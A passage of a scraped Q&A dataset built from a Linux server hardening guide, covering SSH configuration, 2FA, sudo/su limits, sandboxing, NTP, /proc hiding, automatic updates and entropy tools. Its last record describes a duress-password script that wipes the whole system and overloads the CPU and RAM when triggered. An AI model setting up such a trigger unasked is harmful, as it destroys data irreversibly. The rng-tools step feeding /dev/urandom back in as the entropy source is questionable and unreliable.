sshd_config`\n- Thanks to [than0s](https://github.com/than0s) for [how to find duplicate settings](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/38).\n\n#### Steps\n\n1. Make a backup of OpenSSH server's configuration file `/etc/ssh/sshd_config` and remove comments to make it easier to read:\n\n    ``` bash\n    sudo cp --archive /etc/ssh/sshd_config /etc/ssh/sshd_config-COPY-$(date +\"%Y%m%d%H%M%S\")\n    sudo sed -i -r -e '/^#|^$/ d' /etc/ssh/sshd_config\n    ```\n\n1. Edit `/etc/ssh/sshd_config` then find and edit or add these settings that should be applied regardless of your configuration/setup:\n\n    **Note**: SSH does not like duplicate contradicting settings. For example, if you have `ChallengeResponseAuthentication no` and then `ChallengeResponseAuthentication yes`, SSH will respect the first one and ignore the second. Your `/etc/ssh/sshd_config` file may already have some of the settings/lines below. To avoid issues you will need to manually go through your `/etc/ssh/sshd_config` file and address any duplicate contradicting settings. \n\n    ```\n    ########################################################################################################\n    # start settings from https://infosec.mozilla.org/guidelines/openssh#modern-openssh-67 as of 2019-01-01\n    ########################################################################################################\n\n    # Supported HostKey algorithms by order of preference.\n    HostKey /etc/ssh/ssh_host_ed25519_key\n    HostKey /etc/ssh/ssh_host_rsa_key\n    HostKey /etc/ssh/ssh_host_ecdsa_key\n\n    KexAlgorithms curve25519-sha256@libssh.org,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group-exchange-sha256\n\n    Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr\n\n    MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,umac-128@openssh.com\n\n    # LogLevel VERBOSE logs user's key fingerprint on login. Needed to have a clear audit track of which key was using to log in.\n    LogLevel VERBOSE\n\n    # Use kernel sandbox mechanisms where possible in unprivileged processes\n    # Systrace on OpenBSD, Seccomp on Linux, seatbelt on MacOSX/Darwin, rlimit elsewhere.\n    # Note: This setting is deprecated in OpenSSH 7.5 (https://www.openssh.com/txt/release-7.5)\n    # UsePrivilegeSeparation sandbox\n\n    ########################################################################################################\n    # end settings from https://infosec.mozilla.org/guidelines/openssh#modern-openssh-67 as of 2019-01-01\n    ########################################################################################################\n\n    # don't let users set environment variables\n    PermitUserEnvironment no\n\n    # Log sftp level file access (read/write/etc.) that would not be easily logged otherwise.\n    Subsystem sftp  internal-sftp -f AUTHPRIV -l INFO\n\n    # only use the newer, more secure protocol\n    Protocol 2\n\n    # disable X11 forwarding as X11 is very insecure\n    # you really shouldn't be running X on a server anyway\n    X11Forwarding no\n\n    # disable port forwarding\n    AllowTcpForwarding no\n    AllowStreamLocalForwarding no\n    GatewayPorts no\n    PermitTunnel no\n\n    # don't allow login if the account has an empty password\n    PermitEmptyPasswords no\n\n    # ignore .rhosts and .shosts\n    IgnoreRhosts yes\n\n    # verify hostname matches IP\n    UseDNS yes\n\n    Compression no\n    TCPKeepAlive no\n    AllowAgentForwarding no\n    PermitRootLogin no\n\n    # don't allow .rhosts or /etc/hosts.equiv\n    HostbasedAuthentication no\n\n    # https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/115\n    HashKnownHosts yes\n    ```\n\n1. Then **find and edit or add** these settings, and set values as per your requirement", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312598"}
{"id": "gh_1e136a4c704a", "question": "How to: Remove Short Diffie-Hellman Keys", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nPer [Mozilla's OpenSSH guidelines for OpenSSH 6.7+](https://infosec.mozilla.org/guidelines/openssh#modern-openssh-67), \"all Diffie-Hellman moduli in use should be at least 3072-bit-long\".\n\nThe Diffie-Hellman algorithm is used by SSH to establish a secure connection. The larger the moduli (key size) the stronger the encryption.\n\n#### Goals\n\n- remove all Diffie-Hellman keys that are less than 3072 bits long\n\n#### References\n\n- Mozilla's OpenSSH guidelines for OpenSSH 6.7+ at https://infosec.mozilla.org/guidelines/openssh#modern-openssh-67\n- https://infosec.mozilla.org/guidelines/key_management\n- `man moduli`\n\n#### Steps\n\n1. Make a backup of SSH's moduli file `/etc/ssh/moduli`:\n\n    ``` bash\n    sudo cp --archive /etc/ssh/moduli /etc/ssh/moduli-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n1. Remove short moduli:\n\n    ``` bash\n    sudo awk '$5 >= 3071' /etc/ssh/moduli | sudo tee /etc/ssh/moduli.tmp\n    sudo mv /etc/ssh/moduli.tmp /etc/ssh/moduli\n    ````\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312605"}
{"id": "gh_8e9a2b44a35f", "question": "How to: 2FA/MFA for SSH", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nEven though SSH is a pretty good security guard for your doors and windows, it is still a visible door that bad-actors can see and try to brute-force in. [Fail2ban](#fail2ban-application-intrusion-detection-and-prevention) will monitor for these brute-force attempts but there is no such thing as being too secure. Requiring two factors adds an extra layer of security.\n\nUsing Two-Factor Authentication (2FA) / Multi-Factor Authentication (MFA) requires anyone entering to have **two** keys to enter which makes it harder for bad actors. The two keys are:\n\n1. Their password\n1. A 6 digit token that changes every 30 seconds\n\nWithout both keys, they won't be able to get in.\n\n#### Why Not\n\nMany folks might find the experience cumbersome or annoying. And, access to your system is dependent on the accompanying authenticator app that generates the code.\n\n#### How It Works\n\nOn Linux, PAM is responsible for authentication. There are four tasks to PAM that you can read about at https://en.wikipedia.org/wiki/Linux_PAM. This section talks about the authentication task.\n\nWhen you log into a server, be it directly from the console or via SSH, the door you came through will send the request to the authentication task of PAM and PAM will ask for and verify your password. You can customize the rules each doors use. For example, you could have one set of rules when logging in directly from the console and another set of rules for when logging in via SSH.\n\nThis section will alter the authentication rules for when logging in via SSH to require both a password and a 6 digit code.\n\nWe will use Google's libpam-google-authenticator PAM module to create and verify a [TOTP](https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm) key. https://fastmail.blog/2016/07/22/how-totp-authenticator-apps-work/ and https://jemurai.com/2018/10/11/how-it-works-totp-based-mfa/ have very good writeups of how TOTP works.\n\nWhat we will do is tell the server's SSH PAM configuration to ask the user for their password and then their numeric token. PAM will then verify the user's password and, if it is correct, then it will route the authentication request to libpam-google-authenticator which will ask for and verify your 6 digit token. If, and only if, everything is good will the authentication succeed and user be allowed to log in.\n\n#### Goals\n\n- 2FA/MFA enabled for all SSH connections\n\n#### Notes\n\n- Before you do this, you should have an idea of how 2FA/MFA works and you'll need an authenticator app on your phone to continue.\n- We'll use [google-authenticator-libpam](https://github.com/google/google-authenticator-libpam).\n- With the below configuration, a user will only need to enter their 2FA/MFA code if they are logging on with their password but **not** if they are using [SSH public/private keys](#ssh-publicprivate-keys). Check the documentation on how to change this behavior to suite your requirements.\n\n#### References\n\n- https://github.com/google/google-authenticator-libpam\n- https://en.wikipedia.org/wiki/Linux_PAM\n- https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm\n- https://fastmail.blog/2016/07/22/how-totp-authenticator-apps-work/\n- https://jemurai.com/2018/10/11/how-it-works-totp-based-mfa/\n\n#### Steps\n\n1. Install it libpam-google-authenticator.\n\n    On Debian based systems:\n\n    ``` bash\n    sudo apt install libpam-google-authenticator\n    ```\n\n1. **Make sure you're logged in as the ID you want to enable 2FA/MFA for** and **execute** `google-authenticator` to create the necessary token data:\n\n    ``` bash\n    google-authenticator\n    ```\n\n    > ```\n    > Do you want authentication tokens to be time-based (y/n) y\n    > https://www.google.com/chart?chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/user@host%3Fsecret%3DR4ZWX34FQKZROVX7AGLJ64684Y%26issuer%3Dhost\n    > \n    > ...\n    > \n    > Your new secret key is: R3NVX3FFQKZROVX7AGLJUGGESY\n    > Your verification code is 751419\n    > Your emergency scratch codes are:\n    >   12345678\n    >   90123456\n    >   78901234\n    >   56789012\n    >   34567890\n    > \n    > Do you want me to update your \"/home/user/.google_authenticator\" file (y/n) y\n    > \n    > Do you want to disallow multiple uses of the same authentication\n    > token? This restricts you to one login about every 30s, but it increases\n    > your chances to notice or even prevent man-in-the-middle attacks (y/n) Do you want to disallow multiple uses of the same authentication\n    > token? This restricts you to one login about every 30s, but it increases\n    > your chances to notice or even prevent man-in-the-middle attacks (y/n) y\n    > \n    > By default, tokens are good for 30 seconds. In order to compensate for\n    > possible time-skew between the client and the server, we allow an extra\n    > token before and after the current time. If you experience problems with\n    > poor time synchronization, you can increase the window from its default\n    > size of +-1min (window size of 3) to about +-4min (wind", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312621"}
{"id": "gh_7c155ad08c11", "question": "How to: Limit Who Can Use sudo", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nsudo lets accounts run commands as other accounts, including **root**. We want to make sure that only the accounts we want can use sudo.\n\n#### Goals\n\n- sudo privileges limited to those who are in a group we specify\n\n#### Notes\n\n- Your installation may have already done this, or may already have a special group intended for this purpose so check first.\n  - Debian creates the sudo group. To view users that are part of this group (thus have sudo privileges):\n\t  \n\t  ```\n\t  cat /etc/group | grep \"sudo\"\n\t  ```\n  - RedHat creates the wheel group\n- See [https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/39](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/39) for a note on some distributions making it so `sudo` does not require a password. Thanks to [sbrl](https://github.com/sbrl) for sharing.\n\n#### Steps\n\n1. Create a group:\n\n    ``` bash\n    sudo groupadd sudousers\n    ```\n\n1. Add account(s) to the group:\n\n    ``` bash\n    sudo usermod -a -G sudousers user1\n    sudo usermod -a -G sudousers user2\n    sudo usermod -a -G sudousers  ...\n    ```\n\n    You'll need to do this for every account on your server that needs sudo privileges.\n\n1. Make a backup of the sudo's configuration file `/etc/sudoers`:\n\n    ``` bash\n    sudo cp --archive /etc/sudoers /etc/sudoers-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n1. Edit sudo's configuration file `/etc/sudoers`:\n\n    ``` bash\n    sudo visudo\n    ```\n\n1. Tell sudo to only allow users in the `sudousers` group to use sudo by adding this line if it is not already there:\n\n    ```\n    %sudousers   ALL=(ALL:ALL) ALL\n    ```\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312630"}
{"id": "gh_8ca3b7e76f14", "question": "How to: Limit Who Can Use su", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nsu also lets accounts run commands as other accounts, including **root**. We want to make sure that only the accounts we want can use su.\n\n#### Goals\n\n- su privileges limited to those who are in a group we specify\n\n#### References\n\n- Thanks to [olavim](https://github.com/olavim) for sharing [this idea](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/41)\n\n#### Steps\n\n1. Create a group:\n\n    ``` bash\n    sudo groupadd suusers\n    ```\n\n1. Add account(s) to the group:\n\n    ``` bash\n    sudo usermod -a -G suusers user1\n    sudo usermod -a -G suusers user2\n    sudo usermod -a -G suusers  ...\n    ```\n\n    You'll need to do this for every account on your server that needs sudo privileges.\n\n1. Make it so only users in this group can execute `/bin/su`:\n\n    ``` bash\n    sudo dpkg-statoverride --update --add root suusers 4750 /bin/su\n    ```\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312636"}
{"id": "gh_ba638ad880ef", "question": "How to: Run applications in a sandbox with FireJail", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nIt's absolutely better, for many applications, to run in a sandbox.\n\nBrowsers (even more the Closed Source ones) and eMail Clients are highly suggested.\n\n#### Goals\n\n- confine applications in a jail (few safe directories) and block access to the rest of the system\n\n#### References\n\n- Thanks to [FireJail](https://firejail.wordpress.com/)\n\n#### Steps\n\n1. Install the software:\n\n    ``` bash\n    sudo apt install firejail firejail-profiles\n    ```\n    \n    Note: for Debian 10 Stable, official Backport is suggested:\n\n    ``` bash\n    sudo apt install -t buster-backports firejail firejail-profiles\n    ```\n\n2. Allow an application (installed in `/usr/bin` or `/bin`) to run only in a sandbox (see few examples below here):\n\n    ``` bash\n    sudo ln -s /usr/bin/firejail /usr/local/bin/google-chrome-stable\n    sudo ln -s /usr/bin/firejail /usr/local/bin/firefox\n    sudo ln -s /usr/bin/firejail /usr/local/bin/chromium\n    sudo ln -s /usr/bin/firejail /usr/local/bin/evolution\n    sudo ln -s /usr/bin/firejail /usr/local/bin/thunderbird\n    ```\n\n3. Run the application as usual (via terminal or launcher) and check if it's running in a jail:\n\n    ``` bash\n    firejail --list\n    ```\n\n4. Allow a sandboxed app to run again as it was before (example: firefox)\n\n    ``` bash\n    sudo rm /usr/local/bin/firefox\n    ```\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312643"}
{"id": "gh_e1143ce0b1cd", "question": "How to: NTP Client", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nMany security protocols leverage the time. If your system time is incorrect, it could have negative impacts to your server. An NTP client can solve that problem by keeping your system time in-sync with [global NTP servers](https://en.wikipedia.org/wiki/Network_Time_Protocol)\n\n#### How It Works\n\nNTP stands for Network Time Protocol. In the context of this guide, an NTP client on the server is used to update the server time with the official time pulled from official servers. Check https://www.pool.ntp.org/en/ for all of the public NTP servers.\n\n#### Goals\n\n- NTP client installed and keeping server time in-sync\n\n#### References\n\n- https://cloudpro.zone/index.php/2018/01/27/debian-9-3-server-setup-guide-part-4/\n- https://en.wikipedia.org/wiki/Network_Time_Protocol\n- https://www.pool.ntp.org/en/\n- https://serverfault.com/questions/957302/securing-hardening-ntp-client-on-linux-servers-config-file/957450#957450\n- https://tf.nist.gov/tf-cgi/servers.cgi\n\n#### Steps\n\n1. Install ntp.\n\n    On Debian based systems:\n\n    ``` bash\n    sudo apt install ntp\n    ```\n    \n1. Make a backup of the NTP client's configuration file `/etc/ntp.conf`:\n\n    ``` bash\n    sudo cp --archive /etc/ntpsec/ntp.conf /etc/ntpsec/ntp.conf-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n1. The default configuration, at least on Debian, is already pretty secure. The only thing we'll want to make sure is we're the `pool` directive and not any `server` directives. The `pool` directive allows the NTP client to stop using a server if it is unresponsive or serving bad time. Do this by commenting out all `server` directives and adding the below to `/etc/ntp.conf`.\n\t\n    ```\n    pool pool.ntp.org iburst\n    ```\n    \n    [For the lazy](#editing-configuration-files---for-the-lazy):\n    \n    ``` bash\n    sudo sed -i -r -e \"s/^((server|pool).*)/# \\1         # commented by $(whoami) on $(date +\"%Y-%m-%d @ %H:%M:%S\")/\" /etc/ntp.conf\n    echo -e \"\\npool pool.ntp.org iburst         # added by $(whoami) on $(date +\"%Y-%m-%d @ %H:%M:%S\")\" | sudo tee -a /etc/ntp.conf\n    ```\n\n    **Example `/etc/ntp.conf`**:\n    \n    > ```\n    > driftfile /var/lib/ntp/ntp.drift\n    > statistics loopstats peerstats clockstats\n    > filegen loopstats file loopstats type day enable\n    > filegen peerstats file peerstats type day enable\n    > filegen clockstats file clockstats type day enable\n    > restrict -4 default kod notrap nomodify nopeer noquery limited\n    > restrict -6 default kod notrap nomodify nopeer noquery limited\n    > restrict 127.0.0.1\n    > restrict ::1\n    > restrict source notrap nomodify noquery\n    > pool pool.ntp.org iburst         # added by user on 2019-03-09 @ 10:23:35\n    > ```\n    \n1. Restart ntp:\n\n    ``` bash\n    sudo service ntp restart\n    ```\n\n1. Check the status of the ntp service:\n\n    ``` bash\n    sudo systemctl status ntp\n    ```\n\n    > ```\n    > ● ntp.service - LSB: Start NTP daemon\n    >    Loaded: loaded (/etc/init.d/ntp; generated; vendor preset: enabled)\n    >    Active: active (running) since Sat 2019-03-09 15:19:46 EST; 4s ago\n    >      Docs: man:systemd-sysv-generator(8)\n    >   Process: 1016 ExecStop=/etc/init.d/ntp stop (code=exited, status=0/SUCCESS)\n    >   Process: 1028 ExecStart=/etc/init.d/ntp start (code=exited, status=0/SUCCESS)\n    >     Tasks: 2 (limit: 4915)\n    >    CGroup: /system.slice/ntp.service\n    >            └─1038 /usr/sbin/ntpd -p /var/run/ntpd.pid -g -u 108:113\n    > \n    > Mar 09 15:19:46 host ntpd[1038]: Listen and drop on 0 v6wildcard [::]:123\n    > Mar 09 15:19:46 host ntpd[1038]: Listen and drop on 1 v4wildcard 0.0.0.0:123\n    > Mar 09 15:19:46 host ntpd[1038]: Listen normally on 2 lo 127.0.0.1:123\n    > Mar 09 15:19:46 host ntpd[1038]: Listen normally on 3 enp0s3 10.10.20.96:123\n    > Mar 09 15:19:46 host ntpd[1038]: Listen normally on 4 lo [::1]:123\n    > Mar 09 15:19:46 host ntpd[1038]: Listen normally on 5 enp0s3 [fe80::a00:27ff:feb6:ed8e%2]:123\n    > Mar 09 15:19:46 host ntpd[1038]: Listening on routing socket on fd #22 for interface updates\n    > Mar 09 15:19:47 host ntpd[1038]: Soliciting pool server 108.61.56.35\n    > Mar 09 15:19:48 host ntpd[1038]: Soliciting pool server 69.89.207.199\n    > Mar 09 15:19:49 host ntpd[1038]: Soliciting pool server 45.79.111.114\n    > ```\n\n1. Check ntp's status:\n\n    ``` bash\n    sudo ntpq -p\n    ```\n\n    > ```\n    >      remote           refid      st t when poll reach   delay   offset  jitter\n    > ==============================================================================\n    >  pool.ntp.org    .POOL.          16 p    -   64    0    0.000    0.000   0.000\n    > *lithium.constan 198.30.92.2      2 u    -   64    1   19.900    4.894   3.951\n    >  ntp2.wiktel.com 212.215.1.157    2 u    2   64    1   48.061   -0.431   0.104\n    > ```\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312663"}
{"id": "gh_f41942a93587", "question": "How to: Securing /proc", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nTo quote https://linux-audit.com/linux-system-hardening-adding-hidepid-to-proc/:\n\n> When looking in `/proc` you will discover a lot of files and directories. Many of them are just numbers, which represent the information about a particular process ID (PID). By default, Linux systems are deployed to allow all local users to see this all information. This includes process information from other users. This could include sensitive details that you may not want to share with other users. By applying some filesystem configuration tweaks, we can change this behavior and improve the security of the system.\n\n**Note**: This may break on some `systemd` systems. Please see [https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/37](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/37) for more information. Thanks to [nlgranger](https://github.com/nlgranger) for sharing.\n\n#### Goals\n\n- `/proc` mounted with `hidepid=2` so users can only see information about their processes\n\n#### References\n\n- https://linux-audit.com/linux-system-hardening-adding-hidepid-to-proc/\n- https://likegeeks.com/secure-linux-server-hardening-best-practices/#Hardening-proc-Directory\n- https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/\n\n#### Steps\n\n1. Make a backup of `/etc/fstab`:\n\n    ``` bash\n    sudo cp --archive /etc/fstab /etc/fstab-COPY-$(date +\"%Y%m%d%H%M%S\")\n    ```\n\n1. Add this line to `/etc/fstab` to have `/proc` mounted with `hidepid=2`:\n\n    ```\n    proc     /proc     proc     defaults,hidepid=2     0     0\n    ```\n    \n    [For the lazy](#editing-configuration-files---for-the-lazy):\n    \n    ``` bash\n    echo -e \"\\nproc     /proc     proc     defaults,hidepid=2     0     0         # added by $(whoami) on $(date +\"%Y-%m-%d @ %H:%M:%S\")\" | sudo tee -a /etc/fstab\n    ```\n\n1. Reboot the system:\n\n    ``` bash\n    sudo reboot now\n    ```\n    \n    **Note**: Alternatively, you can remount `/proc` without rebooting with `sudo mount -o remount,hidepid=2 /proc`\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312671"}
{"id": "gh_5e9c83a4d171", "question": "How to: Automatic Security Updates and Alerts", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nIt is important to keep a server updated with the latest **critical security patches and updates**. Otherwise you're at risk of known security vulnerabilities that bad-actors could use to gain unauthorized access to your server.\n\nUnless you plan on checking your server every day, you'll want a way to automatically update the system and/or get emails about available updates.\n\nYou don't want to do all updates because with every update there is a risk of something breaking. It is important to do the critical updates but everything else can wait until you have time to do it manually.\n\n#### Why Not\n\nAutomatic and unattended updates may break your system and you may not be near your server to fix it. This would be especially problematic if it broke your SSH access.\n\n#### Notes\n\n- Each distribution manages packages and updates differently. So far I only have steps for Debian based systems.\n- Your server will need a way to send e-mails for this to work\n\n#### Goals\n\n- Automatic, unattended, updates of critical security patches\n- Automatic emails of remaining pending updates\n\n#### Debian Based Systems\n\n##### How It Works\n\nOn Debian based systems you can use:\n\n- unattended-upgrades to automatically do system updates you want (i.e. critical security updates)\n- apt-listchanges to get details about package changes before they are installed/upgraded\n- apticron to get emails for pending package updates\n\nWe will use unattended-upgrades to apply **critical security patches**. We can also apply stable updates since they've already been thoroughly tested by the Debian community.\n\n##### References\n\n- https://wiki.debian.org/UnattendedUpgrades\n- https://debian-handbook.info/browse/stable/sect.regular-upgrades.html\n- https://blog.sleeplessbeastie.eu/2015/01/02/how-to-perform-unattended-upgrades/\n- https://www.vultr.com/docs/how-to-set-up-unattended-upgrades-on-debian-9-stretch\n- https://github.com/mvo5/unattended-upgrades\n- https://wiki.debian.org/UnattendedUpgrades#apt-listchanges\n- https://www.cyberciti.biz/faq/apt-get-apticron-send-email-upgrades-available/\n- https://www.unixmen.com/how-to-get-email-notifications-for-new-updates-on-debianubuntu/\n- `/etc/apt/apt.conf.d/50unattended-upgrades`\n\n##### Steps\n\n1. Install unattended-upgrades, apt-listchanges, and apticron:\n\n    ``` bash\n    sudo apt install unattended-upgrades apt-listchanges apticron\n    ```\n\n1. Now we need to configure unattended-upgrades to automatically apply the updates. This is typically done by editing the files `/etc/apt/apt.conf.d/20auto-upgrades` and `/etc/apt/apt.conf.d/50unattended-upgrades` that were created by the packages. However, because these file may get overwritten with a future update, we'll create a new file instead. Create the file `/etc/apt/apt.conf.d/51myunattended-upgrades` and add this:\n\n    ```\n    // Enable the update/upgrade script (0=disable)\n    APT::Periodic::Enable \"1\";\n\n    // Do \"apt-get update\" automatically every n-days (0=disable)\n    APT::Periodic::Update-Package-Lists \"1\";\n\n    // Do \"apt-get upgrade --download-only\" every n-days (0=disable)\n    APT::Periodic::Download-Upgradeable-Packages \"1\";\n\n    // Do \"apt-get autoclean\" every n-days (0=disable)\n    APT::Periodic::AutocleanInterval \"7\";\n\n    // Send report mail to root\n    //     0:  no report             (or null string)\n    //     1:  progress report       (actually any string)\n    //     2:  + command outputs     (remove -qq, remove 2>/dev/null, add -d)\n    //     3:  + trace on    APT::Periodic::Verbose \"2\";\n    APT::Periodic::Unattended-Upgrade \"1\";\n\n    // Automatically upgrade packages from these\n    Unattended-Upgrade::Origins-Pattern {\n          \"o=Debian,a=stable\";\n          \"o=Debian,a=stable-updates\";\n          \"origin=Debian,codename=${distro_codename},label=Debian-Security\";\n    };\n\n    // You can specify your own packages to NOT automatically upgrade here\n    Unattended-Upgrade::Package-Blacklist {\n    };\n\n    // Run dpkg --force-confold --configure -a if a unclean dpkg state is detected to true to ensure that updates get installed even when the system got interrupted during a previous run\n    Unattended-Upgrade::AutoFixInterruptedDpkg \"true\";\n\n    //Perform the upgrade when the machine is running because we wont be shutting our server down often\n    Unattended-Upgrade::InstallOnShutdown \"false\";\n\n    // Send an email to this address with information about the packages upgraded.\n    Unattended-Upgrade::Mail \"root\";\n\n    // Always send an e-mail\n    Unattended-Upgrade::MailOnlyOnError \"false\";\n\n    // Remove all unused dependencies after the upgrade has finished\n    Unattended-Upgrade::Remove-Unused-Dependencies \"true\";\n\n    // Remove any new unused dependencies after the upgrade has finished\n    Unattended-Upgrade::Remove-New-Unused-Dependencies \"true\";\n\n    // Automatically reboot WITHOUT CONFIRMATION if the file /var/run/reboot-required is found after the upgrade.\n    Unattended-Upgrade::Automatic-Reboot \"true\";\n\n    // Automatically reboot even", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312694"}
{"id": "gh_54e3ba8c4244", "question": "How to: More Secure Random Entropy Pool (WIP)", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nWIP\n\n#### How It Works\n\nWIP\n\n#### Goals\n\nWIP\n\n#### References\n\n- Thanks to [branneman](https://github.com/branneman) for this idea as submitted in [issue #33](https://github.com/imthenachoman/How-To-Secure-A-Linux-Server/issues/33).\n- https://hackaday.com/2017/11/02/what-is-entropy-and-how-do-i-get-more-of-it/\n- https://www.2uo.de/myths-about-urandom\n- https://www.gnu.org/software/hurd/user/tlecarrour/rng-tools.html\n- https://wiki.archlinux.org/index.php/Rng-tools\n- https://www.howtoforge.com/helping-the-random-number-generator-to-gain-enough-entropy-with-rng-tools-debian-lenny\n- https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sect-security_guide-encryption-using_the_random_number_generator\n\n#### Steps\n\n1. Install rng-tools.\n   \n    On Debian based systems:\n\n    ``` bash\n    sudo apt-get install rng-tools\n    ```\n\n1. Now we need to set the hardware device used to generate random numbers by adding this to `/etc/default/rng-tools`:\n\n    ```\n    HRNGDEVICE=/dev/urandom\n    ```\n    \n    [For the lazy](#editing-configuration-files---for-the-lazy):\n    \n    ``` bash\n    echo \"HRNGDEVICE=/dev/urandom\" | sudo tee -a /etc/default/rng-tools\n    ```\n\n1. Restart the service:\n\n    ``` bash\n    sudo systemctl stop rng-tools.service\n    sudo systemctl start rng-tools.service\n    ```\n\n1. Test randomness:\n    - https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sect-security_guide-encryption-using_the_random_number_generator\n    - https://wiki.archlinux.org/index.php/Rng-tools\n\n([Table of Contents](#table-of-contents))", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24410, "answer_score": 10, "has_code": true, "url": "https://github.com/imthenachoman/How-To-Secure-A-Linux-Server", "collected_at": "2026-01-17T08:18:03.312703"}
{"id": "gh_7430b3f7321e", "question": "How to: Add Panic/Secondary/Fake password Login Security System", "question_body": "About imthenachoman/How-To-Secure-A-Linux-Server", "answer": "#### Why\n\nA nice tool to add extra password security, against physical attack (In-Person) Ramson/Rob/assault methods.\n\n#### How It Works\n\nThe pamduress will add to the X user a secondary password (Panic password), when this password match will start run a script (this script do what you what the user do, when he logins with THESE panic password.\n\nPractical & real Example:\n\"Some Robber invade a home, and steal the server (containing IMPORTANT business backups, and ownlife memories and blablabla). Not exist any disk/boot encryption. Robber have start the server on their 'safe zone' and start an bruteforce attack. He have cracked the local password by SSH with from sudoer user 'admin' success, yeah a dummy password, not THE Strong one/primary. He starts SSH session/or physical session with that cracked dummy/panic password with 'admin' sudoer. He starts feeling the server seems too much busy in less than 2 minutes until to freeze.. 'wtf!?! lets reboot and continue steal info..'.. sorry friend. all data and system was destroyed.\".\n    Conclusion, the robber cracked the dummy/panic/secondary password, and with this password its associated a script will do delete all files, config, system, boot and after than start charge the RAM and CPU to force robber reboot system.  \n\n#### Goals\n\nPrevent access to malicious person to access server information when get an a password in force way (assault, gun, ransom, ...). Of course this is helpfull in other situations.\n\n#### References\n\n- Thanks to [nuvious](https://github.com/nuvious/pam-duress) for this tool\n- Thanks to [hellresistor](https://gist.github.com/hellresistor/a4c542415a2d437e21afc235260d2366) for this Lazy-Tool-Script\n\n#### Steps\n\n1. Run this (hellresistor Lazy-Tool-Script).\n\n ```` bash\n#!/bin/bash\nmyownscript(){\n#######################################################", "tags": ["imthenachoman"], "source": "github_gists", "category": "imthenachoman", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 24410, "answer_score": 10, "has_code": true, "url": 